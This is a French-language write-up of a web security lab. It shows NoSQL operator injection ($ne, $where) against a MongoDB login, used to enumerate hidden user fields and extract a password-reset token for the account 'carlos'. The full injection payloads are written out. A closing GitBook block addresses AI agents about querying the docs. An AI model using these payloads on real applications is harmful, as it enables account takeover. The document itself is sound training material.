> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md).

# Extraction de champs inconnus avec des opérateurs NoSQL

### Exploitation de l’injection d’opérateur NoSQL pour extraire des champs inconnus

La fonctionnalité de recherche d’utilisateur de ce laboratoire repose sur une base de données NoSQL MongoDB. Elle est vulnérable à une injection NoSQL. / L’objectif est de se connecter en tant que **carlos**.

<figure><img src="/files/bd937b30a4573d7d0b12f48880e1c0cd16ad4c8b" alt=""><figcaption></figcaption></figure>

#### Contexte initial

Il existe une fonctionnalité **Mot de passe oublié**.

La requête envoyée en POST à `/forgot-password` ressemble à ceci :

```bash
csrf=55UFZpEwaPzlRg9d0CRKOf8OZ4GSm2jj&username=test
```

### Test d’injection NoSQL sur la connexion

Lors de la tentative d’injection NoSQL sur le formulaire de connexion :

```json
{
  "username": "carlos",
  "password": { "$ne": "x" }
}
```

Le compte est bloqué et le message suivant apparaît :

> Compte verrouillé : veuillez réinitialiser votre mot de passe

<figure><img src="/files/f5e2faf590238ce690a16f75a9f1b8c050061cdf" alt=""><figcaption></figcaption></figure>

#### Blocage avec `$where`

Il est observé qu’ajouter le `$where` champ est interprété par le serveur :

* Si `$where` est `1` → le compte reste bloqué
* Si `$where` vaut `0` → le blocage disparaît

Exemple :

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "0"
}
```

Cela confirme que `$where` l’opérateur est exécutable.

<figure><img src="/files/e55944c8d9cc8e05660bc0421772e72028ddb52f" alt=""><figcaption></figcaption></figure>

#### Limitation et changement de stratégie

L’idée initiale serait d’utiliser `$where` pour vérifier directement le mot de passe, par exemple :

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.password...."
}
```

Cependant, comme le compte est verrouillé, cette approche n’est pas utilisable. / Vous devez donc passer par une **réinitialisation du mot de passe**.

#### Lister les champs de l’objet utilisateur

`$where` est utilisé pour lister les clés de l’objet utilisateur avec :

```javascript
Object.keys(this)[0].match('^.{X}Y.*')
```

Requête complète :

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "Object.keys(this)[0].match('^.{X}Y.*')"
}
```

<figure><img src="/files/e11257635f11e84d435a5758309706b2e995478f" alt=""><figcaption></figcaption></figure>

* `X`: position du caractère (0-20)

<figure><img src="/files/5ab4f807946f3ea9547255b7ab690726826d95a3" alt=""><figcaption></figcaption></figure>

* `Y`: caractères testés (`a-z`, `A-Z`, `0-9`)

<figure><img src="/files/bb12e18cbca8996e1a678a2096c692a149d33c06" alt=""><figcaption></figcaption></figure>

Attaque envoyée via **Intruder** par **Cluster Bomb**

#### Résultats de l’énumération des champs

En se basant sur la longueur de la réponse (**Content-Length**):

* `Object.keys(this)[0]` → `id`

<figure><img src="/files/cd64118b9166351a73d4c6a4aeeda1b5f9b680b8" alt=""><figcaption></figcaption></figure>

```javascript
"$where": "Object.keys(this)[1].match('^.{X}Y.*')"
```

* `Object.keys(this)[1]` → `le nom d'utilisateur`

<figure><img src="/files/84c719766dba5af9234d9b445fb718985e9977d1" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[2]` → `mot de passe`

```javascript
"$where": "Object.keys(this)[2].match('^.{X}Y.*')"
```

<figure><img src="/files/de4577ad701415a62786ef961012d9a3e47a7da7" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[3]` → `email`
* `Object.keys(this)[4]` → `passwordReset`

" Le `passwordReset` champ n’apparaît que si une réinitialisation du mot de passe a été déclenchée pour **carlos**.

```javascript
"$where": "Object.keys(this)[4].match('^.{X}Y.*')"
```

#### Confirmation du `passwordReset` Champ

<figure><img src="/files/06f111617b1b0ae47965f35500def17039bed2ef" alt=""><figcaption></figcaption></figure>

Accès au point de terminaison :

```bash
/forgot-password?passwordReset=
```

Réponse :

> Jeton invalide

Le champ existe

<figure><img src="/files/858f15f2dae1da181cbcaf8895e7fb8758b7c1c0" alt=""><figcaption></figcaption></figure>

#### Liste du jeton `passwordReset`

La valeur du jeton est ensuite extraite :

```javascript
"$where": "this.passwordReset.match('^.{X}Y.*')"
```

```javascript
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.passwordReset.match('^.{X}Y.*')"
}
```

* `X`: position du caractère
* `Y`: caractères possibles

<figure><img src="/files/f7f932118f18f3d35280ade69c8d9a654c225aa8" alt=""><figcaption></figcaption></figure>

* Envoyer via **Intruder** (Cluster Bomb)

#### Résultat

Le **carlos** le jeton de réinitialisation est récupéré :

```bash
5d252f7e28f468ee
```

<figure><img src="/files/f7f932118f18f3d35280ade69c8d9a654c225aa8" alt=""><figcaption></figcaption></figure>

#### Exploitation finale

Avec ce jeton, vous pouvez accéder à la fonction de réinitialisation du mot de passe et définir un nouveau mot de passe pour **carlos**, ce qui vous permet de vous connecter à votre compte et de valider le laboratoire.

<figure><img src="/files/6bc0dd7f94411137438e15704777569b15cdf362" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
